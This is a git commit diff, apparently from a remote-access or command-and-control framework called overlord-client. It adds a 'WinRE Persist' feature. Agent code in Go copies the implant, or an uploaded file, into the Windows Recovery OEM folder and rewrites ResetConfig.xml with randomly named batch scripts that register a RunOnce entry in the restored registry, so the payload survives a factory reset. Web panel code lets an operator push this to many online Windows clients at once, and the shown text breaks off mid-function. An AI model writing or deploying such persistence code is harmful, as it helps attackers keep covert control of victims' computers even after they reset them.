WinRE
This commit is contained in:
@@ -1853,6 +1853,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||||
}
|
}
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||||
|
case "winre_install":
|
||||||
|
payload := payloadAsMap(envelope["payload"])
|
||||||
|
useSelf := false
|
||||||
|
if v, ok := payload["useSelf"].(bool); ok {
|
||||||
|
useSelf = v
|
||||||
|
}
|
||||||
|
filePath, _ := payload["filePath"].(string)
|
||||||
|
if err := handleWinREInstall(ctx, env, cmdID, filePath, useSelf); err != nil {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||||
|
}
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||||
|
case "winre_uninstall":
|
||||||
|
if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||||
|
}
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||||
case "uninstall":
|
case "uninstall":
|
||||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
//go:build !windows
|
||||||
|
// +build !windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
|
||||||
|
return fmt.Errorf("WinRE persistence is only supported on Windows")
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
return fmt.Errorf("WinRE persistence is only supported on Windows")
|
||||||
|
}
|
||||||
@@ -0,0 +1,303 @@
|
|||||||
|
//go:build windows
|
||||||
|
// +build windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/xml"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/rand"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
winreOEMRelPath = `Recovery\OEM`
|
||||||
|
winreBackupDirName = "XRSBackupData"
|
||||||
|
winreResetConfigXML = "ResetConfig.xml"
|
||||||
|
winreDeleteManifest = "DELETEME"
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
rand.Seed(time.Now().UnixNano())
|
||||||
|
}
|
||||||
|
|
||||||
|
func randomAlphanumeric(n int) string {
|
||||||
|
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
|
b := make([]byte, n)
|
||||||
|
for i := range b {
|
||||||
|
b[i] = charset[rand.Intn(len(charset))]
|
||||||
|
}
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
type resetConfig struct {
|
||||||
|
XMLName xml.Name `xml:"Reset"`
|
||||||
|
Runs []runEntry `xml:"Run"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type runEntry struct {
|
||||||
|
XMLName xml.Name `xml:"Run"`
|
||||||
|
Phase string `xml:"Phase,attr"`
|
||||||
|
Path string `xml:"Path"`
|
||||||
|
Duration int `xml:"Duration"`
|
||||||
|
Param string `xml:"Param,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemDrive() string {
|
||||||
|
sd := os.Getenv("SystemDrive")
|
||||||
|
if sd == "" {
|
||||||
|
sd = "C:"
|
||||||
|
}
|
||||||
|
return sd
|
||||||
|
}
|
||||||
|
|
||||||
|
func oemPath() string {
|
||||||
|
return filepath.Join(systemDrive()+`\`, winreOEMRelPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
func backupPath() string {
|
||||||
|
return filepath.Join(oemPath(), winreBackupDirName)
|
||||||
|
}
|
||||||
|
|
||||||
|
func resetConfigPath() string {
|
||||||
|
return filepath.Join(oemPath(), winreResetConfigXML)
|
||||||
|
}
|
||||||
|
|
||||||
|
func createOEMEnvironment() error {
|
||||||
|
oem := oemPath()
|
||||||
|
if err := os.MkdirAll(oem, 0o755); err != nil {
|
||||||
|
return fmt.Errorf("failed to create OEM directory: %w", err)
|
||||||
|
}
|
||||||
|
bk := backupPath()
|
||||||
|
if err := os.MkdirAll(bk, 0o755); err != nil {
|
||||||
|
return fmt.Errorf("failed to create backup directory: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func createPayload(command string) string {
|
||||||
|
rndKey := randomAlphanumeric(20)
|
||||||
|
return fmt.Sprintf(`@echo off
|
||||||
|
for /F "tokens=1,2,3 delims= " %%%%A in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS') DO SET TARGETOS=%%%%C
|
||||||
|
|
||||||
|
for /F "tokens=1 delims=\" %%%%A in ('Echo %%TARGETOS%%') DO SET TARGETOSDRIVE=%%%%A
|
||||||
|
|
||||||
|
reg load HKLM\%s %%TARGETOSDRIVE%%\windows\system32\config\SOFTWARE
|
||||||
|
|
||||||
|
reg add HKLM\%s\Microsoft\Windows\CurrentVersion\RunOnce /v %s /t REG_SZ /d "%s"
|
||||||
|
|
||||||
|
reg unload HKLM\%s
|
||||||
|
`, rndKey, rndKey, rndKey, command, rndKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
func backupCurrentConfig(basicResetFileName, factoryResetFileName string, additionalFiles []string) error {
|
||||||
|
bk := backupPath()
|
||||||
|
lines := []string{basicResetFileName, factoryResetFileName}
|
||||||
|
lines = append(lines, additionalFiles...)
|
||||||
|
content := strings.Join(lines, "\n")
|
||||||
|
if err := os.WriteFile(filepath.Join(bk, winreDeleteManifest), []byte(content), 0o644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
rcPath := resetConfigPath()
|
||||||
|
if _, err := os.Stat(rcPath); err == nil {
|
||||||
|
data, err := os.ReadFile(rcPath)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(bk, "configBackup"), data, 0o644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func saveScriptFile(fileName, payload, additionalCommand string) error {
|
||||||
|
contents := payload
|
||||||
|
if additionalCommand != "" {
|
||||||
|
contents += additionalCommand
|
||||||
|
}
|
||||||
|
return os.WriteFile(filepath.Join(oemPath(), fileName), []byte(contents), 0o644)
|
||||||
|
}
|
||||||
|
|
||||||
|
func createNewResetConfig(basicFileName, factoryFileName, payload string) error {
|
||||||
|
cfg := resetConfig{
|
||||||
|
Runs: []runEntry{
|
||||||
|
{Phase: "BasicReset_AfterImageApply", Path: basicFileName, Duration: 1},
|
||||||
|
{Phase: "FactoryReset_AfterImageApply", Path: factoryFileName, Duration: 1},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
data, err := xml.MarshalIndent(cfg, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
xmlContent := xml.Header + string(data)
|
||||||
|
if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := saveScriptFile(basicFileName, payload, ""); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return saveScriptFile(factoryFileName, payload, "")
|
||||||
|
}
|
||||||
|
|
||||||
|
func updateExistingResetConfig(basicFileName, factoryFileName, payload string) error {
|
||||||
|
data, err := os.ReadFile(resetConfigPath())
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
var cfg resetConfig
|
||||||
|
if err := xml.Unmarshal(data, &cfg); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
maxDuration := 1
|
||||||
|
for _, r := range cfg.Runs {
|
||||||
|
if r.Duration > maxDuration {
|
||||||
|
maxDuration = r.Duration
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
additionalBasic := updatePhase(&cfg, "BasicReset_AfterImageApply", basicFileName)
|
||||||
|
additionalFactory := updatePhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName)
|
||||||
|
|
||||||
|
if additionalBasic == "" {
|
||||||
|
addNewPhase(&cfg, "BasicReset_AfterImageApply", basicFileName, maxDuration)
|
||||||
|
}
|
||||||
|
if additionalFactory == "" {
|
||||||
|
addNewPhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName, maxDuration)
|
||||||
|
}
|
||||||
|
|
||||||
|
out, err := xml.MarshalIndent(cfg, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
xmlContent := xml.Header + string(out)
|
||||||
|
if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := saveScriptFile(basicFileName, payload, additionalBasic); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return saveScriptFile(factoryFileName, payload, additionalFactory)
|
||||||
|
}
|
||||||
|
|
||||||
|
func updatePhase(cfg *resetConfig, phaseName, newFileName string) string {
|
||||||
|
for i, r := range cfg.Runs {
|
||||||
|
if r.Phase == phaseName {
|
||||||
|
oldPath := `%TARGETOSDRIVE%\Recovery\OEM\` + r.Path
|
||||||
|
oldParam := r.Param
|
||||||
|
cfg.Runs[i].Path = newFileName
|
||||||
|
cfg.Runs[i].Param = ""
|
||||||
|
additional := `"` + oldPath + `"`
|
||||||
|
if oldParam != "" {
|
||||||
|
additional += " " + oldParam
|
||||||
|
}
|
||||||
|
return additional
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func addNewPhase(cfg *resetConfig, phaseName, fileName string, duration int) {
|
||||||
|
cfg.Runs = append(cfg.Runs, runEntry{
|
||||||
|
Phase: phaseName,
|
||||||
|
Path: fileName,
|
||||||
|
Duration: duration,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func installWinREPersistence(fileBytes []byte, ext string) error {
|
||||||
|
if err := createOEMEnvironment(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
stubName := randomAlphanumeric(20) + ext
|
||||||
|
stubPath := filepath.Join(oemPath(), stubName)
|
||||||
|
if err := os.WriteFile(stubPath, fileBytes, 0o644); err != nil {
|
||||||
|
return fmt.Errorf("failed to write stub file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
command := `cmd.exe /c start %TARGETOSDRIVE%\Recovery\OEM\` + stubName
|
||||||
|
payload := createPayload(command)
|
||||||
|
|
||||||
|
basicFileName := randomAlphanumeric(20) + ".bat"
|
||||||
|
factoryFileName := randomAlphanumeric(20) + ".bat"
|
||||||
|
|
||||||
|
if err := backupCurrentConfig(basicFileName, factoryFileName, []string{stubName}); err != nil {
|
||||||
|
log.Printf("winre: backup config warning: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
rcPath := resetConfigPath()
|
||||||
|
if _, err := os.Stat(rcPath); os.IsNotExist(err) {
|
||||||
|
return createNewResetConfig(basicFileName, factoryFileName, payload)
|
||||||
|
}
|
||||||
|
return updateExistingResetConfig(basicFileName, factoryFileName, payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
func uninstallWinREPersistence() error {
|
||||||
|
bk := backupPath()
|
||||||
|
if _, err := os.Stat(bk); os.IsNotExist(err) {
|
||||||
|
return fmt.Errorf("WinRE persistence not installed")
|
||||||
|
}
|
||||||
|
|
||||||
|
oem := oemPath()
|
||||||
|
if err := os.RemoveAll(oem); err != nil {
|
||||||
|
return fmt.Errorf("failed to remove OEM directory: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
|
||||||
|
var fileBytes []byte
|
||||||
|
var ext string
|
||||||
|
|
||||||
|
if useSelf {
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to get executable path: %w", err)
|
||||||
|
}
|
||||||
|
fileBytes, err = os.ReadFile(exePath)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to read self executable: %w", err)
|
||||||
|
}
|
||||||
|
ext = filepath.Ext(exePath)
|
||||||
|
if ext == "" {
|
||||||
|
ext = ".exe"
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if filePath == "" {
|
||||||
|
return fmt.Errorf("missing filePath")
|
||||||
|
}
|
||||||
|
for i := 0; i < 30; i++ {
|
||||||
|
if _, err := os.Stat(filePath); err == nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
}
|
||||||
|
var err error
|
||||||
|
fileBytes, err = os.ReadFile(filePath)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to read file: %w", err)
|
||||||
|
}
|
||||||
|
ext = filepath.Ext(filePath)
|
||||||
|
if ext == "" {
|
||||||
|
ext = ".exe"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return installWinREPersistence(fileBytes, ext)
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
return uninstallWinREPersistence()
|
||||||
|
}
|
||||||
@@ -810,6 +810,11 @@ menu.addEventListener("click", async (e) => {
|
|||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (open === "winre") {
|
||||||
|
window.open(`/winre?clientId=${contextCard}`, "_blank", "noopener");
|
||||||
|
closeMenu(clearContext);
|
||||||
|
return;
|
||||||
|
}
|
||||||
const action = target.dataset.action;
|
const action = target.dataset.action;
|
||||||
|
|
||||||
if (open === "voice") {
|
if (open === "voice") {
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ const MENU_GROUPS = [
|
|||||||
items: [
|
items: [
|
||||||
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
|
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
|
||||||
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
|
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
|
||||||
|
{ label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre" },
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -0,0 +1,463 @@
|
|||||||
|
const clientList = document.getElementById("client-list");
|
||||||
|
const clientSearch = document.getElementById("client-search");
|
||||||
|
const selectAllBtn = document.getElementById("select-all-btn");
|
||||||
|
const clearSelectionBtn = document.getElementById("clear-selection-btn");
|
||||||
|
const selectedCountSpan = document.getElementById("selected-count");
|
||||||
|
const uploadZone = document.getElementById("upload-zone");
|
||||||
|
const uploadInput = document.getElementById("upload-input");
|
||||||
|
const uploadStatus = document.getElementById("upload-status");
|
||||||
|
const installSelfBtn = document.getElementById("install-self-btn");
|
||||||
|
const installFileBtn = document.getElementById("install-file-btn");
|
||||||
|
const uninstallBtn = document.getElementById("uninstall-btn");
|
||||||
|
const outputContainer = document.getElementById("output-container");
|
||||||
|
const clearOutputBtn = document.getElementById("clear-output-btn");
|
||||||
|
|
||||||
|
const tabSelf = document.getElementById("tab-self");
|
||||||
|
const tabUpload = document.getElementById("tab-upload");
|
||||||
|
const panelSelf = document.getElementById("panel-self");
|
||||||
|
const panelUpload = document.getElementById("panel-upload");
|
||||||
|
|
||||||
|
let activeTab = "self";
|
||||||
|
let allClients = [];
|
||||||
|
let filteredClients = [];
|
||||||
|
const selectedClients = new Set();
|
||||||
|
let uploaded = null;
|
||||||
|
|
||||||
|
function switchTab(tab) {
|
||||||
|
activeTab = tab;
|
||||||
|
if (tab === "self") {
|
||||||
|
tabSelf.classList.add("bg-slate-700", "text-slate-100");
|
||||||
|
tabSelf.classList.remove("text-slate-400");
|
||||||
|
tabUpload.classList.remove("bg-slate-700", "text-slate-100");
|
||||||
|
tabUpload.classList.add("text-slate-400");
|
||||||
|
panelSelf.classList.remove("hidden");
|
||||||
|
panelUpload.classList.add("hidden");
|
||||||
|
} else {
|
||||||
|
tabUpload.classList.add("bg-slate-700", "text-slate-100");
|
||||||
|
tabUpload.classList.remove("text-slate-400");
|
||||||
|
tabSelf.classList.remove("bg-slate-700", "text-slate-100");
|
||||||
|
tabSelf.classList.add("text-slate-400");
|
||||||
|
panelUpload.classList.remove("hidden");
|
||||||
|
panelSelf.classList.add("hidden");
|
||||||
|
}
|
||||||
|
updateButtonStates();
|
||||||
|
}
|
||||||
|
|
||||||
|
tabSelf.addEventListener("click", () => switchTab("self"));
|
||||||
|
tabUpload.addEventListener("click", () => switchTab("upload"));
|
||||||
|
|
||||||
|
async function checkAuth() {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/auth/me");
|
||||||
|
if (!res.ok) {
|
||||||
|
window.location.href = "/login.html";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = await res.json();
|
||||||
|
document.getElementById("username-display").textContent = data.username;
|
||||||
|
|
||||||
|
const roleBadge = document.getElementById("role-badge");
|
||||||
|
const roleBadges = {
|
||||||
|
admin: '<i class="fa-solid fa-crown mr-1"></i>Admin',
|
||||||
|
operator: '<i class="fa-solid fa-sliders mr-1"></i>Operator',
|
||||||
|
viewer: '<i class="fa-solid fa-eye mr-1"></i>Viewer',
|
||||||
|
};
|
||||||
|
if (roleBadges[data.role]) {
|
||||||
|
roleBadge.innerHTML = roleBadges[data.role];
|
||||||
|
} else {
|
||||||
|
roleBadge.textContent = data.role || "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (data.role === "admin") {
|
||||||
|
roleBadge.classList.add("bg-purple-900/50", "text-purple-300", "border", "border-purple-800");
|
||||||
|
} else if (data.role === "operator") {
|
||||||
|
roleBadge.classList.add("bg-blue-900/50", "text-blue-300", "border", "border-blue-800");
|
||||||
|
} else {
|
||||||
|
roleBadge.classList.add("bg-slate-700", "text-slate-300", "border", "border-slate-600");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (data.role !== "admin") {
|
||||||
|
alert("Access denied. Admin role required.");
|
||||||
|
window.location.href = "/";
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
console.error("Auth check failed:", err);
|
||||||
|
window.location.href = "/login.html";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadClients() {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/clients?pageSize=10000");
|
||||||
|
if (!res.ok) throw new Error("Failed to load clients");
|
||||||
|
|
||||||
|
const data = await res.json();
|
||||||
|
allClients = data.items.filter(
|
||||||
|
(c) => c.online && (c.os || "").toLowerCase().includes("windows"),
|
||||||
|
);
|
||||||
|
|
||||||
|
if (allClients.length === 0) {
|
||||||
|
clientList.innerHTML =
|
||||||
|
'<div class="p-4 text-center text-slate-500">No online Windows clients available</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
filterAndRenderClients();
|
||||||
|
preselectClientFromQuery();
|
||||||
|
} catch (error) {
|
||||||
|
console.error("Failed to load clients:", error);
|
||||||
|
clientList.innerHTML =
|
||||||
|
'<div class="p-4 text-center text-red-400">Error loading clients</div>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function preselectClientFromQuery() {
|
||||||
|
const params = new URLSearchParams(window.location.search);
|
||||||
|
const targetId = params.get("clientId");
|
||||||
|
if (!targetId) return;
|
||||||
|
if (allClients.some((c) => c.id === targetId)) {
|
||||||
|
selectedClients.add(targetId);
|
||||||
|
renderClients();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function filterAndRenderClients() {
|
||||||
|
const searchTerm = clientSearch.value.toLowerCase();
|
||||||
|
filteredClients = allClients.filter((c) => {
|
||||||
|
return (
|
||||||
|
!searchTerm ||
|
||||||
|
(c.host && c.host.toLowerCase().includes(searchTerm)) ||
|
||||||
|
c.id.toLowerCase().includes(searchTerm) ||
|
||||||
|
(c.user && c.user.toLowerCase().includes(searchTerm))
|
||||||
|
);
|
||||||
|
});
|
||||||
|
renderClients();
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderClients() {
|
||||||
|
if (filteredClients.length === 0) {
|
||||||
|
clientList.innerHTML =
|
||||||
|
'<div class="p-4 text-center text-slate-500">No clients match your filters</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
clientList.innerHTML = filteredClients
|
||||||
|
.map((c) => {
|
||||||
|
const name = c.host || c.id.substring(0, 8);
|
||||||
|
const os = c.os || "unknown";
|
||||||
|
const isSelected = selectedClients.has(c.id);
|
||||||
|
|
||||||
|
return `
|
||||||
|
<label class="flex items-center gap-3 px-4 py-3 hover:bg-slate-800/50 cursor-pointer border-b border-slate-800 last:border-b-0" data-client-id="${escapeHtml(c.id)}">
|
||||||
|
<input type="checkbox" class="client-checkbox w-4 h-4 rounded border-slate-600 bg-slate-700 checked:bg-cyan-600" data-id="${escapeHtml(c.id)}" ${isSelected ? "checked" : ""}>
|
||||||
|
<div class="flex-1 min-w-0">
|
||||||
|
<div class="font-semibold text-slate-100 truncate">${escapeHtml(name)}</div>
|
||||||
|
<div class="text-sm text-slate-400 flex items-center gap-2">
|
||||||
|
<span>${escapeHtml(os)}</span>
|
||||||
|
${c.user ? `<span class="text-slate-500">• ${escapeHtml(c.user)}</span>` : ""}
|
||||||
|
<span class="text-slate-600">• ${c.id.substring(0, 8)}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="text-emerald-400 text-sm">
|
||||||
|
<i class="fa-solid fa-circle text-xs"></i> Online
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
`;
|
||||||
|
})
|
||||||
|
.join("");
|
||||||
|
|
||||||
|
clientList.querySelectorAll(".client-checkbox").forEach((cb) => {
|
||||||
|
cb.addEventListener("change", handleClientToggle);
|
||||||
|
});
|
||||||
|
|
||||||
|
updateButtonStates();
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleClientToggle(e) {
|
||||||
|
const clientId = e.target.dataset.id;
|
||||||
|
if (e.target.checked) {
|
||||||
|
selectedClients.add(clientId);
|
||||||
|
} else {
|
||||||
|
selectedClients.delete(clientId);
|
||||||
|
}
|
||||||
|
updateButtonStates();
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateButtonStates() {
|
||||||
|
selectedCountSpan.textContent = `${selectedClients.size} selected`;
|
||||||
|
const hasSelection = selectedClients.size > 0;
|
||||||
|
|
||||||
|
installSelfBtn.disabled = !hasSelection || activeTab !== "self";
|
||||||
|
installFileBtn.disabled = !hasSelection || activeTab !== "upload" || !uploaded;
|
||||||
|
uninstallBtn.disabled = !hasSelection;
|
||||||
|
}
|
||||||
|
|
||||||
|
function setUploadStatus(text, tone = "text-slate-400") {
|
||||||
|
uploadStatus.className = `mt-3 text-sm ${tone}`;
|
||||||
|
uploadStatus.textContent = text;
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatBytes(bytes) {
|
||||||
|
const value = Number(bytes) || 0;
|
||||||
|
if (value < 1024) return `${value} B`;
|
||||||
|
if (value < 1024 * 1024) return `${(value / 1024).toFixed(1)} KB`;
|
||||||
|
if (value < 1024 * 1024 * 1024) return `${(value / 1024 / 1024).toFixed(2)} MB`;
|
||||||
|
return `${(value / 1024 / 1024 / 1024).toFixed(2)} GB`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function escapeHtml(text) {
|
||||||
|
const div = document.createElement("div");
|
||||||
|
div.textContent = text;
|
||||||
|
return div.innerHTML;
|
||||||
|
}
|
||||||
|
|
||||||
|
clientSearch.addEventListener("input", filterAndRenderClients);
|
||||||
|
|
||||||
|
selectAllBtn.addEventListener("click", () => {
|
||||||
|
filteredClients.forEach((c) => selectedClients.add(c.id));
|
||||||
|
renderClients();
|
||||||
|
});
|
||||||
|
|
||||||
|
clearSelectionBtn.addEventListener("click", () => {
|
||||||
|
selectedClients.clear();
|
||||||
|
renderClients();
|
||||||
|
});
|
||||||
|
|
||||||
|
uploadZone.addEventListener("click", () => uploadInput.click());
|
||||||
|
uploadZone.addEventListener("dragover", (event) => {
|
||||||
|
event.preventDefault();
|
||||||
|
uploadZone.classList.add("border-cyan-500");
|
||||||
|
});
|
||||||
|
uploadZone.addEventListener("dragleave", () => {
|
||||||
|
uploadZone.classList.remove("border-cyan-500");
|
||||||
|
});
|
||||||
|
uploadZone.addEventListener("drop", async (event) => {
|
||||||
|
event.preventDefault();
|
||||||
|
uploadZone.classList.remove("border-cyan-500");
|
||||||
|
const file = event.dataTransfer?.files?.[0];
|
||||||
|
if (file) await uploadFile(file);
|
||||||
|
});
|
||||||
|
uploadInput.addEventListener("change", async (event) => {
|
||||||
|
const file = event.target.files?.[0];
|
||||||
|
if (file) await uploadFile(file);
|
||||||
|
});
|
||||||
|
|
||||||
|
async function uploadFile(file) {
|
||||||
|
setUploadStatus(`Uploading ${file.name}...`, "text-blue-400");
|
||||||
|
installFileBtn.disabled = true;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const form = new FormData();
|
||||||
|
form.append("file", file, file.name);
|
||||||
|
const res = await fetch("/api/winre/upload", {
|
||||||
|
method: "POST",
|
||||||
|
body: form,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
const text = await res.text();
|
||||||
|
setUploadStatus(text || "Upload failed", "text-red-400");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = await res.json();
|
||||||
|
if (!data.ok) {
|
||||||
|
setUploadStatus(data.error || "Upload failed", "text-red-400");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
uploaded = data;
|
||||||
|
const sizeBytes = Number(data.size ?? file.size ?? 0);
|
||||||
|
setUploadStatus(`Uploaded ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400");
|
||||||
|
updateButtonStates();
|
||||||
|
} catch (error) {
|
||||||
|
console.error("Upload failed:", error);
|
||||||
|
setUploadStatus("Upload failed", "text-red-400");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderResults(results, actionLabel) {
|
||||||
|
const namedResults = results.map((r) => {
|
||||||
|
const client = allClients.find((c) => c.id === r.clientId);
|
||||||
|
const clientName = client ? client.host || r.clientId.substring(0, 8) : r.clientId.substring(0, 8);
|
||||||
|
if (r.error) {
|
||||||
|
return { clientName, clientId: r.clientId, error: r.error };
|
||||||
|
}
|
||||||
|
if (r.ok === false) {
|
||||||
|
return { clientName, clientId: r.clientId, error: r.reason || `${actionLabel} failed` };
|
||||||
|
}
|
||||||
|
return { clientName, clientId: r.clientId, output: `${actionLabel} dispatched` };
|
||||||
|
});
|
||||||
|
|
||||||
|
outputContainer.innerHTML = namedResults
|
||||||
|
.map((r) => {
|
||||||
|
if (r.error) {
|
||||||
|
return `<div class="mb-4 pb-4 border-b border-slate-800 last:border-b-0">
|
||||||
|
<div class="text-cyan-400 font-semibold mb-2">━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━</div>
|
||||||
|
<div class="text-red-400">Error: ${escapeHtml(r.error)}</div>
|
||||||
|
</div>`;
|
||||||
|
}
|
||||||
|
return `<div class="mb-4 pb-4 border-b border-slate-800 last:border-b-0">
|
||||||
|
<div class="text-cyan-400 font-semibold mb-2">━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━</div>
|
||||||
|
<div class="text-emerald-400">${escapeHtml(r.output)}</div>
|
||||||
|
</div>`;
|
||||||
|
})
|
||||||
|
.join("");
|
||||||
|
}
|
||||||
|
|
||||||
|
installSelfBtn.addEventListener("click", async () => {
|
||||||
|
if (selectedClients.size === 0) {
|
||||||
|
alert("Please select at least one client");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
installSelfBtn.disabled = true;
|
||||||
|
const clientIds = Array.from(selectedClients);
|
||||||
|
